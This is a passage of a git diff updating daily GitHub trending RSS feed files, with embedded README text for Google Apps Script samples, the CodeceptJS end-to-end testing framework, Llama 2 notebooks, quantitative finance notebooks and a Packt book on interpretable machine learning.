<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/sheets">Managing Responses for Google Forms</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/sheets">Menus and Custom Functions</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/slides_96dp.png" align="left" width="96px"></p>
<h3>Slides</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/slides/translate">Translate Slides Add-on</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/slides/progress">Progress Bars add-on</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/tasks_96dp.png" align="left" width="96px"></p>
<h3>Tasks</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/tasks/quickstart">List Tasks</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/tasks/simpleTasks">Simple Tasks Web App</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/icons/material/system/2x/code_grey600_48dp.png" align="left" width="96px"></p>
<h3>Templates</h3>
<ul>
<li>Build off a working framework for new Apps Script projects. <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/icons/material/system/2x/alarm_grey600_48dp.png" align="left" width="96px"></p>
<h3>Triggers</h3>
<ul>
<li>Call an Apps Script function such as <code>onOpen</code>, <code>onEdit</code>, or <code>onInstall</code> in an add-on</li>
<li>Create a <a href="https://developers.google.com/apps-script/guides/triggers/installable#time_driven_triggers">time-driven trigger</a></li>
</ul>
<h2>Codelabs</h2>
<p>Codelab tutorials combine detailed explanation, coding exercises, and documented best practices to help engineers get up to speed with key Google technologies. Here's a list of Apps Script codelabs:</p>
<ul>
<li><a href="http://g.co/codelabs/apps-script-intro">Apps Script Intro</a></li>
<li><a href="http://g.co/codelabs/clasp">Apps Script CLI – clasp</a></li>
<li><a href="http://g.co/codelabs/bigquery-sheets-slides">BigQuery + Sheets + Slides</a></li>
<li><a href="http://g.co/codelabs/nlp-docs">Docs Add-on + Cloud Natural Language API</a></li>
<li><a href="http://g.co/codelabs/gmail-add-ons">Gmail Add-ons</a></li>
<li><a href="http://g.co/codelabs/chat-apps-script">Hangouts Chat Bots</a></li>
</ul>
<h2>Clone using the <code>clasp</code> command-line tool</h2>
<p>Learn how to clone, pull, and push Apps Script projects on the command-line using <a href="https://developers.google.com/apps-script/guides/clasp">clasp</a>.</p>
<h2>Lint</h2>
<p>Run ESLint over this whole repository with:</p>
<pre><code class="language-shell">npm run lint
</code></pre>
<p>This command will fix simple errors.</p>
+
+
+ codeceptjs/CodeceptJS
+ 2023-12-13T01:35:24Z
+ tag:github.com,2023-12-13:/codeceptjs/CodeceptJS
+
+ <p>Supercharged End 2 End Testing Framework for NodeJS</p><hr><p><a href="https://stand-with-ukraine.pp.ua"><img src="https://raw.githubusercontent.com/vshymanskyy/StandWithUkraine/main/banner-direct-single.svg?sanitize=true" alt="Stand With Ukraine"></a></p>
<p><a href="https://join.slack.com/t/codeceptjs/shared_invite/enQtMzA5OTM4NDM2MzA4LWE4MThhN2NmYTgxNTU5MTc4YzAyYWMwY2JkMmZlYWI5MWQ2MDM5MmRmYzZmYmNiNmY5NTAzM2EwMGIwOTNhOGQ"><img src="https://img.shields.io/badge/slack-@codeceptjs-purple.svg?logo=slack"></a> <a href="https://codecept.discourse.group"><img src="https://img.shields.io/badge/discourse-codeceptjs-purple"></a> <a href="https://npmjs.org/package/codeceptjs"><img src="https://badge.fury.io/js/codeceptjs.svg?sanitize=true" alt="NPM version"></a> <a href="https://hub.docker.com/r/codeceptjs/codeceptjs"><img src="https://img.shields.io/badge/dockerhub-images-blue.svg?logo=codeceptjs"></a> <a href="https://github.com/codeceptjs/CodeceptJS/edit/3.x/docs/ai.md"><img src="https://img.shields.io/badge/AI-features?logo=openai&logoColor=white" alt="AI features"></a> <a href="https://github.com/vshymanskyy/StandWithUkraine/raw/main/docs/README.md"><img src="https://raw.githubusercontent.com/vshymanskyy/StandWithUkraine/main/badges/StandWithUkraine.svg?sanitize=true" alt="StandWithUkraine"></a></p>
<p>Build Status:</p>
<p>Appium Helper: <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/appiumV2_Android.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/appiumV2_Android.yml/badge.svg?sanitize=true" alt="Appium V2 Tests - Android"></a> <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/appiumV2_iOS.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/appiumV2_iOS.yml/badge.svg?sanitize=true" alt="Appium V2 Tests - iOS"></a></p>
<p>Web Helper: <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/playwright.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/playwright.yml/badge.svg?sanitize=true" alt="Playwright Tests"></a> <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/puppeteer.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/puppeteer.yml/badge.svg?sanitize=true" alt="Puppeteer Tests"></a> <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/webdriver.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/webdriver.yml/badge.svg?sanitize=true" alt="WebDriver Tests"></a> <a href="https://github.com/codeceptjs/CodeceptJS/actions/workflows/testcafe.yml"><img src="https://github.com/codeceptjs/CodeceptJS/actions/workflows/testcafe.yml/badge.svg?sanitize=true" alt="TestCafe Tests"></a></p>
<h1>CodeceptJS <a href="https://stand-with-ukraine.pp.ua"><img src="https://img.shields.io/badge/made_in-ukraine-ffd700.svg?labelColor=0057b7" alt="Made in Ukraine"></a></h1>
<p>Reference: <a href="https://github.com/codeceptjs/CodeceptJS/tree/master/docs/helpers">Helpers API</a></p>
<h2>Supercharged E2E Testing</h2>
<p>CodeceptJS is a new testing framework for end-to-end testing with WebDriver (or others). It abstracts browser interaction to simple steps that are written from a user's perspective. A simple test that verifies the "Welcome" text is present on a main page of a site will look like:</p>
<pre><code class="language-js">Feature('CodeceptJS demo');
Scenario('check Welcome page on site', ({ I }) => {
I.amOnPage('/');
I.see('Welcome');
});
</code></pre>
<p>CodeceptJS tests are:</p>
<ul>
<li><strong>Synchronous</strong>. You don't need to care about callbacks or promises or test scenarios which are linear. But, your tests should be linear.</li>
<li>Written from <strong>user's perspective</strong>. Every action is a method of <code>I</code>. That makes test easy to read, write and maintain even for non-tech persons.</li>
<li>Backend <strong>API agnostic</strong>. We don't know which WebDriver implementation is running this test.</li>
</ul>
<p>CodeceptJS uses <strong>Helper</strong> modules to provide actions to <code>I</code> object. Currently, CodeceptJS has these helpers:</p>
<ul>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/Playwright.md"><strong>Playwright</strong></a> - is a Node library to automate the Chromium, WebKit and Firefox browsers with a single API.</li>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/Puppeteer.md"><strong>Puppeteer</strong></a> - uses Google Chrome's Puppeteer for fast headless testing.</li>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/WebDriver.md"><strong>WebDriver</strong></a> - uses <a href="http://webdriver.io/">webdriverio</a> to run tests via WebDriver protocol.</li>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/TestCafe.md"><strong>TestCafe</strong></a> - cheap and fast cross-browser test automation.</li>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/Appium.md"><strong>Appium</strong></a> - for <strong>mobile testing</strong> with Appium</li>
<li><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/Detox.md"><strong>Detox</strong></a> - This is a wrapper on top of Detox library, aimed to unify testing experience for CodeceptJS framework. Detox provides a grey box testing for mobile applications, playing especially well for React Native apps.</li>
</ul>
<p>And more to come...</p>
<h2>Why CodeceptJS?</h2>
<p>CodeceptJS is a successor of <a href="http://codeception.com">Codeception</a>, a popular full-stack testing framework for PHP. With CodeceptJS your scenario-driven functional and acceptance tests will be as simple and clean as they can be. You don't need to worry about asynchronous nature of NodeJS or about various APIs of Playwright, Selenium, Puppeteer, TestCafe, etc. as CodeceptJS unifies them and makes them work as they are synchronous.</p>
<h2>Features</h2>
<ul>
<li>🪄 <strong>AI-powered</strong> with GPT features to assist and heal failing tests.</li>
<li>☕ Based on <a href="https://mochajs.org/">Mocha</a> testing framework.</li>
<li>💼 Designed for scenario driven acceptance testing in BDD-style.</li>
<li>💻 Uses ES6 natively without transpiler.</li>
<li>Also plays nice with TypeScript.</li>
<li></> Smart locators: use names, labels, matching text, CSS or XPath to locate elements.</li>
<li>🌐 Interactive debugging shell: pause test at any point and try different commands in a browser.</li>
<li>Easily create tests, pageobjects, stepobjects with CLI generators.</li>
</ul>
<h2>Installation</h2>
<pre><code class="language-sh">npm i codeceptjs --save
</code></pre>
<p>Move to directory where you'd like to have your tests (and CodeceptJS config) stored, and execute:</p>
<pre><code class="language-sh">npx codeceptjs init
</code></pre>
<p>to create and configure test environment. It is recommended to select WebDriver from the list of helpers, if you need to write Selenium WebDriver tests.</p>
<p>After that create your first test by executing:</p>
<pre><code class="language-sh">npx codeceptjs generate:test
</code></pre>
<p>Now test is created and can be executed with</p>
<pre><code class="language-sh">npx codeceptjs run
</code></pre>
<p>If you want to write your tests using TypeScript just generate standard Type Definitions by executing:</p>
<pre><code class="language-sh">npx codeceptjs def .
</code></pre>
<p>Later you can even automagically update Type Definitions to include your own custom <a href="https://raw.githubusercontent.com/codeceptjs/CodeceptJS/3.x/docs/helpers.md">helpers methods</a>.</p>
<p>Note:</p>
<ul>
<li>CodeceptJS requires Node.js version <code>12+</code> or later.</li>
</ul>
<h2>Usage</h2>
<p>Learn CodeceptJS by examples. Let's assume we have CodeceptJS installed and WebDriver helper enabled.</p>
<h3>Basics</h3>
<p>Let's see how we can handle basic form testing:</p>
<pre><code class="language-js">Feature('CodeceptJS Demonstration');
Scenario('test some forms', ({ I }) => {
I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
I.fillField('Email', 'hello@world.com');
I.fillField('Password', secret('123456'));
I.checkOption('Active');
I.checkOption('Male');
I.click('Create User');
I.see('User is valid');
I.dontSeeInCurrentUrl('/documentation');
});
</code></pre>
<p>All actions are performed by <code>I</code> object; assertions functions start with <code>see</code> function. In these examples all methods of <code>I</code> are taken from WebDriver helper, see <a href="https://github.com/codeceptjs/CodeceptJS/raw/master/docs/helpers/WebDriver.md">reference</a> to learn how to use them.</p>
<p>Let's execute this test with <code>run</code> command. Additional option <code>--steps</code> will show us the running process. We recommend use <code>--steps</code> or <code>--debug</code> during development.</p>
<pre><code class="language-sh">npx codeceptjs run --steps
</code></pre>
<p>This will produce an output:</p>
<pre><code class="language-sh">CodeceptJS Demonstration --
test some forms
• I am on page "http://simple-form-bootstrap.plataformatec.com.br/documentation"
• I fill field "Email", "hello@world.com"
• I fill field "Password", "****"
• I check option "Active"
• I check option "Male"
• I click "Create User"
• I see "User is valid"
• I dont see in current url "/documentation"
✓ OK in 17752ms
</code></pre>
<p>CodeceptJS has an ultimate feature to help you develop and debug your test. You can <strong>pause execution of test in any place and use interactive shell</strong> to try different actions and locators. Just add <code>pause()</code> call at any place in a test and run it.</p>
<p>Interactive shell can be started outside test context by running:</p>
<pre><code class="language-sh">npx codeceptjs shell
</code></pre>
<h3>Actions</h3>
<p>We filled form with <code>fillField</code> methods, which located form elements by their label. The same way you can locate element by name, <code>CSS</code> or <code>XPath</code> locators in tests:</p>
<pre><code class="language-js">// by name
I.fillField('user_basic[email]', 'hello@world.com');
// by CSS
I.fillField('#user_basic_email', 'hello@world.com');
// don't make us guess locator type, specify it
I.fillField({css: '#user_basic_email'}, 'hello@world.com');
</code></pre>
<p>Other methods like <code>checkOption</code>, and <code>click</code> work in a similar manner. They can take labels or CSS or XPath locators to find elements to interact.</p>
<h3>Assertions</h3>
<p>Assertions start with <code>see</code> or <code>dontSee</code> prefix. In our case we are asserting that string 'User is valid' is somewhere in a webpage. However, we can narrow the search to particular element by providing a second parameter:</p>
<pre><code class="language-js">I.see('User is valid');
// better to specify context:
I.see('User is valid', '.alert-success');
</code></pre>
<p>In this case 'User is valid' string will be searched only inside elements located by CSS <code>.alert-success</code>.</p>
<h3>Grabbers</h3>
<p>In case you need to return a value from a webpage and use it directly in test, you should use methods with <code>grab</code> prefix. They are expected to be used inside <code>async/await</code> functions, and their results will be available in test:</p>
<pre><code class="language-js">Feature('CodeceptJS Demonstration');
Scenario('test page title', async ({ I }) => {
I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
const title = await I.grabTitle();
I.expectEqual(title, 'Example application with SimpleForm and Twitter Bootstrap'); // Avaiable with Expect helper. -> https://codecept.io/helpers/Expect/
});
</code></pre>
<p>The same way you can grab text, attributes, or form values and use them in next test steps.</p>
<h3>Before/After</h3>
<p>Common preparation steps like opening a web page, logging in a user, can be placed in <code>Before</code> or <code>Background</code>:</p>
<pre><code class="language-js">const { I } = inject();
Feature('CodeceptJS Demonstration');
Before(() => { // or Background
I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
});
Scenario('test some forms', () => {
I.click('Create User');
I.see('User is valid');
I.dontSeeInCurrentUrl('/documentation');
});
Scenario('test title', () => {
I.seeInTitle('Example application');
});
</code></pre>
<h2>PageObjects</h2>
<p>CodeceptJS provides the most simple way to create and use page objects in your test. You can create one by running</p>
<pre><code class="language-sh">npx codeceptjs generate pageobject
</code></pre>
<p>It will create a page object file for you and add it to the config. Let's assume we created one named <code>docsPage</code>:</p>
<pre><code class="language-js">const { I } = inject();
module.exports = {
fields: {
email: '#user_basic_email',
password: '#user_basic_password'
},
submitButton: {css: '#new_user_basic input[type=submit]'},
sendForm(email, password) {
I.fillField(this.fields.email, email);
I.fillField(this.fields.password, password);
I.click(this.submitButton);
}
}
</code></pre>
<p>You can easily inject it to test by providing its name in test arguments:</p>
<pre><code class="language-js">Feature('CodeceptJS Demonstration');
Before(({ I }) => { // or Background
I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
});
Scenario('test some forms', ({ I, docsPage }) => {
docsPage.sendForm('hello@world.com','123456');
I.see('User is valid');
I.dontSeeInCurrentUrl('/documentation');
});
</code></pre>
<p>When using Typescript, replace <code>module.exports</code> with <code>export</code> for autocompletion.</p>
<h2>Contributing</h2>
<ul>
<li> <h3><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/.github/CONTRIBUTING.md">Contributing Guide</a></h3> </li>
<li> <h3><a href="https://github.com/codeceptjs/CodeceptJS/raw/master/.github/CODE_OF_CONDUCT.md">Code of conduct</a></h3> </li>
</ul>
<h2>Contributors</h2>
<p>Thanks all to those who are and will have contributing to this awesome project!</p>
<p><a href="https://github.com/DavertMik"><img src="https://avatars.githubusercontent.com/u/220264?v=4" title="DavertMik" width="80" height="80"></a> <a href="https://github.com/kobenguyent"><img src="https://avatars.githubusercontent.com/u/7845001?v=4" title="kobenguyent" width="80" height="80"></a> <a href="https://github.com/Vorobeyko"><img src="https://avatars.githubusercontent.com/u/11293201?v=4" title="Vorobeyko" width="80" height="80"></a> <a href="https://github.com/reubenmiller"><img src="https://avatars.githubusercontent.com/u/3029781?v=4" title="reubenmiller" width="80" height="80"></a> <a href="https://github.com/Arhell"><img src="https://avatars.githubusercontent.com/u/26163841?v=4" title="Arhell" width="80" height="80"></a> <a href="https://github.com/APshenkin"><img src="https://avatars.githubusercontent.com/u/14344430?v=4" title="APshenkin" width="80" height="80"></a> <a href="https://github.com/fabioel"><img src="https://avatars.githubusercontent.com/u/9824235?v=4" title="fabioel" width="80" height="80"></a> <a href="https://github.com/pablopaul"><img src="https://avatars.githubusercontent.com/u/635526?v=4" title="pablopaul" width="80" height="80"></a> <a href="https://github.com/Georgegriff"><img src="https://avatars.githubusercontent.com/u/9056958?v=4" title="Georgegriff" width="80" height="80"></a> <a href="https://github.com/mirao"><img src="https://avatars.githubusercontent.com/u/12584138?v=4" title="mirao" width="80" height="80"></a> <a href="https://github.com/KMKoushik"><img src="https://avatars.githubusercontent.com/u/24666922?v=4" title="KMKoushik" width="80" height="80"></a> <a href="https://github.com/nikocanvacom"><img src="https://avatars.githubusercontent.com/u/83254493?v=4" title="nikocanvacom" width="80" height="80"></a> <a href="https://github.com/elukoyanov"><img src="https://avatars.githubusercontent.com/u/11647141?v=4" title="elukoyanov" width="80" height="80"></a> <a href="https://github.com/gkushang"><img src="https://avatars.githubusercontent.com/u/3663389?v=4" title="gkushang" width="80" height="80"></a> <a href="https://github.com/tsuemura"><img src="https://avatars.githubusercontent.com/u/17092259?v=4" title="tsuemura" width="80" height="80"></a> <a href="https://github.com/EgorBodnar"><img src="https://avatars.githubusercontent.com/u/63167966?v=4" title="EgorBodnar" width="80" height="80"></a> <a href="https://github.com/VikalpP"><img src="https://avatars.githubusercontent.com/u/11846339?v=4" title="VikalpP" width="80" height="80"></a> <a href="https://github.com/BorisOsipov"><img src="https://avatars.githubusercontent.com/u/6514276?v=4" title="BorisOsipov" width="80" height="80"></a> <a href="https://github.com/elaichenkov"><img src="https://avatars.githubusercontent.com/u/29764053?v=4" title="elaichenkov" width="80" height="80"></a> <a href="https://github.com/nitschSB"><img src="https://avatars.githubusercontent.com/u/39341455?v=4" title="nitschSB" width="80" height="80"></a> <a href="https://github.com/hubidu"><img src="https://avatars.githubusercontent.com/u/13134082?v=4" title="hubidu" width="80" height="80"></a> <a href="https://github.com/jploskonka"><img src="https://avatars.githubusercontent.com/u/669483?v=4" title="jploskonka" width="80" height="80"></a> <a href="https://github.com/ngraf"><img src="https://avatars.githubusercontent.com/u/7094389?v=4" title="ngraf" width="80" height="80"></a> <a href="https://github.com/maojunxyz"><img src="https://avatars.githubusercontent.com/u/28778042?v=4" title="maojunxyz" width="80" height="80"></a> <a href="https://github.com/abhimanyupandian"><img src="https://avatars.githubusercontent.com/u/36107381?v=4" title="abhimanyupandian" width="80" height="80"></a> <a href="https://github.com/hatufacci"><img src="https://avatars.githubusercontent.com/u/4963181?v=4" title="hatufacci" width="80" height="80"></a> <a href="https://github.com/martomo"><img src="https://avatars.githubusercontent.com/u/1850135?v=4" title="martomo" width="80" height="80"></a> <a href="https://github.com/denis-sokolov"><img src="https://avatars.githubusercontent.com/u/113721?v=4" title="denis-sokolov" width="80" height="80"></a></p>
<h2>License</h2>
<p>MIT © <a href="http://codecept.io">CodeceptJS Team</a></p>
\ No newline at end of file
diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml
index 391bdd02ded..9fd5958b902 100644
--- a/jest-snapshot/daily/index.xml
+++ b/jest-snapshot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jest Snapshot Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:07Z
+ 2023-12-13T01:35:55Z
Daily Trending of Jest Snapshot in GitHub
\ No newline at end of file
diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml
index f6bdcc8f3ee..16d2a687d8b 100644
--- a/jflex/daily/index.xml
+++ b/jflex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JFlex Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:05Z
+ 2023-12-13T01:35:57Z
Daily Trending of JFlex in GitHub
\ No newline at end of file
diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml
index 4430f88f460..2003bdc1a1f 100644
--- a/jinja/daily/index.xml
+++ b/jinja/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jinja Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:06Z
+ 2023-12-13T01:35:56Z
Daily Trending of Jinja in GitHub
\ No newline at end of file
diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml
index ca9f33b1d1e..3635b8f679a 100644
--- a/jison-lex/daily/index.xml
+++ b/jison-lex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jison Lex Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:10Z
+ 2023-12-13T01:36:02Z
Daily Trending of Jison Lex in GitHub
\ No newline at end of file
diff --git a/jison/daily/index.xml b/jison/daily/index.xml
index 28b26bc0092..db83105a677 100644
--- a/jison/daily/index.xml
+++ b/jison/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jison Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:09Z
+ 2023-12-13T01:36:02Z
Daily Trending of Jison in GitHub
\ No newline at end of file
diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml
index e4ea1f4ea11..06d62f4b5b2 100644
--- a/jolie/daily/index.xml
+++ b/jolie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jolie Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:08Z
+ 2023-12-13T01:36:00Z
Daily Trending of Jolie in GitHub
\ No newline at end of file
diff --git a/jq/daily/index.xml b/jq/daily/index.xml
index 42d1fdd8b3b..7793ac5371e 100644
--- a/jq/daily/index.xml
+++ b/jq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub jq Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:09Z
+ 2023-12-13T01:35:59Z
Daily Trending of jq in GitHub
\ No newline at end of file
diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml
index ef39e6beb51..91cd15637a7 100644
--- a/json-with-comments/daily/index.xml
+++ b/json-with-comments/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON with Comments Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:14Z
+ 2023-12-13T01:36:08Z
Daily Trending of JSON with Comments in GitHub
\ No newline at end of file
diff --git a/json/daily/index.xml b/json/daily/index.xml
index 91796db889b..2e528a6bf78 100644
--- a/json/daily/index.xml
+++ b/json/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:12Z
+ 2023-12-13T01:36:07Z
Daily Trending of JSON in GitHub
\ No newline at end of file
diff --git a/json5/daily/index.xml b/json5/daily/index.xml
index be751ee377d..239c6d24ccd 100644
--- a/json5/daily/index.xml
+++ b/json5/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON5 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:11Z
+ 2023-12-13T01:36:04Z
Daily Trending of JSON5 in GitHub
\ No newline at end of file
diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml
index 3e078ed681c..d52cc3eecf8 100644
--- a/jsoniq/daily/index.xml
+++ b/jsoniq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSONiq Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:13Z
+ 2023-12-13T01:36:05Z
Daily Trending of JSONiq in GitHub
\ No newline at end of file
diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml
index 57658a7a919..608a984d6b3 100644
--- a/jsonld/daily/index.xml
+++ b/jsonld/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSONLD Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:15Z
+ 2023-12-13T01:36:10Z
Daily Trending of JSONLD in GitHub
\ No newline at end of file
diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml
index f7d24345d7c..f3e427dc2e8 100644
--- a/jsonnet/daily/index.xml
+++ b/jsonnet/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Jsonnet Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:16Z
+ 2023-12-13T01:36:12Z
Daily Trending of Jsonnet in GitHub
+
+ eclipse-iceoryx/.eclipsefdn
+ 2023-12-13T01:36:12Z
+ tag:github.com,2023-12-13:/eclipse-iceoryx/.eclipsefdn
+
+ <p>Repository to host configurations related to the Eclipse Foundation.</p><hr>
+
\ No newline at end of file
diff --git a/julia/daily/index.xml b/julia/daily/index.xml
index 2e4cbb94e3d..a8973b1e745 100644
--- a/julia/daily/index.xml
+++ b/julia/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Julia Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:17Z
+ 2023-12-13T01:36:15Z
Daily Trending of Julia in GitHub
\ No newline at end of file
diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml
index c9b1bf08f56..d96eb1573d3 100644
--- a/jupyter-notebook/daily/index.xml
+++ b/jupyter-notebook/daily/index.xml
@@ -1,21 +1,21 @@
GitHub Jupyter Notebook Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:20Z
+ 2023-12-13T01:36:22Z
Daily Trending of Jupyter Notebook in GitHub
- MarcosCarreira/DermanPapers
- 2023-12-12T01:52:20Z
- tag:github.com,2023-12-12:/MarcosCarreira/DermanPapers
-
- <p>Notebooks that replicate original quantitative finance papers from Emanuel Derman</p><hr><h1>DermanPapers</h1>
<p>Notebooks that replicate original quantitative finance papers from Emanuel Derman</p>
<p>Created by Marcos Costa Santos Carreira to help others understand quantitative finance</p>
+ amitsangani/Llama-2
+ 2023-12-13T01:36:22Z
+ tag:github.com,2023-12-13:/amitsangani/Llama-2
+
+ <p>All the projects related to Llama</p><hr><h1>Llama</h1>
<p>Welcome to my Repo! <span>😄</span> This repository contains notebooks:</p>
<ul>
<li>That can be run on Google Colab to understand how to use Llama 2 models</li>
<li>Examples of fine-tuning Llama 2 models with different datasets (you can)</li>
<li>Prompt-engineering with open source tools/frameworks such as Langchain, FAISS, etc</li>
<li>and other fun stuff you can do with Llama!</li>
</ul>
- LongOnly/Quantitative-Notebooks
- 2023-12-12T01:52:20Z
- tag:github.com,2023-12-12:/LongOnly/Quantitative-Notebooks
-
- <p>Educational notebooks on quantitative finance, algorithmic trading, financial modelling and investment strategy</p><hr><h4>The main objective of this repo is idea generation! Some of these 'strategies' might not be appropriate for consumption <del>due to overfitting</del> (it's meant to be educational)</h4>
<p>Dependencies: Numpy; Pandas; Matplotlib and Requests (for fetching Yahoo Finance data)</p>
<h4>Difficulty</h4>
<p>Moderate:</p>
<p><a href="https://raw.githubusercontent.com/LongOnly/Quantitative-Notebooks/master/DecisionTreeRegressors.ipynb">ML Based Pairs Trading</a> - A simple Machine Learning example, Decision Tree Regressors applied to the previous pair (also requires Scikit-Learn)</p>
<p>Basic:</p>
<p><a href="https://raw.githubusercontent.com/LongOnly/Quantitative-Notebooks/master/PairsTrading.ipynb">Long Only Pairs Trading</a> - A simple pairs trading strategy focused on buying the loser! Signal is given by rolling correlation</p>
<p>Introductory:</p>
<p><a href="https://raw.githubusercontent.com/LongOnly/Quantitative-Notebooks/master/AssetAllocation.ipynb">Dynamic Asset Allocation & Diversification</a> - Exploring geographical diversification and optimizing capital allocation (also requires Scipy)</p>
<p>Market data last updated at 2 July 2020</p>
<h4>License</h4>
<p>This code has been released under the <a href="https://raw.githubusercontent.com/LongOnly/Quantitative-Notebooks/master/LICENSE">Apache 2.0 License</a></p>
+ PacktPublishing/Interpretable-Machine-Learning-with-Python
+ 2023-12-13T01:36:22Z
+ tag:github.com,2023-12-13:/PacktPublishing/Interpretable-Machine-Learning-with-Python
+
+ <p>Interpretable Machine Learning with Python, published by Packt</p><hr><h1>Interpretable Machine Learning with Python</h1>
<p><a href="https://www.packtpub.com/product/interpretable-machine-learning-with-python/9781800203907"><img src="https://static.packt-cdn.com/products/9781800203907/cover/smaller" alt="Interpretable Machine Learning with Pythone" height="256px" align="right"></a></p>
<p>This is the code repository for <a href="https://www.packtpub.com/product/interpretable-machine-learning-with-python/9781800203907">Interpretable Machine Learning with Python</a>, published by Packt.</p>
<p><strong>Learn to build interpretable high-performance models with hands-on real-world examples</strong></p>
<h2>What is this book about?</h2>
<p>Do you want to understand your models and mitigate the risks associated with poor predictions using practical machine learning (ML) interpretation? Interpretable Machine Learning with Python can help you overcome these challenges, using interpretation methods to build fairer and safer ML models.</p>
<p>This book covers the following exciting features:</p>
<ul>
<li>Recognize the importance of interpretability in business</li>
<li>Study models that are intrinsically interpretable such as linear models, decision trees, and Naïve Bayes</li>
<li>Become well-versed in interpreting models with model-agnostic methods</li>
<li>Visualize how an image classifier works and what it learns</li>
<li>Understand how to mitigate the influence of bias in datasets</li>
</ul>
<p>If you feel this book is for you, get your <a href="https://www.amazon.com/dp/180020390X">copy</a> today!</p>
<p><a href="https://www.packtpub.com/?utm_source=github&utm_medium=banner&utm_campaign=GitHubBanner"><img src="https://raw.githubusercontent.com/PacktPublishing/GitHub/master/GitHub.png" alt="https://www.packtpub.com/" border="5"></a></p>
<h2>Instructions and Navigations</h2>
<p>All of the code is organized into folders. For example, Chapter02.</p>
<p>The code will look like the following:</p>
<pre><code>base_classifier = KerasClassifier(model=base_model,\
clip_values=(min_, max_))
y_test_mdsample_prob = np.max(y_test_prob[sampl_md_idxs],\
axis=1)
y_test_smsample_prob = np.max(y_test_prob[sampl_sm_idxs],\
axis=1)
</code></pre>
<p><strong>Following is what you need for this book:</strong> This book is for data scientists, machine learning developers, and data stewards who have an increasingly critical responsibility to explain how the AI systems they develop work, their impact on decision making, and how they identify and manage bias. Working knowledge of machine learning and the Python programming language is expected.</p>
<p>With the following software and hardware list you can run all code files present in the book (Chapter 1-14).</p>
<h3>Software and Hardware List</h3>
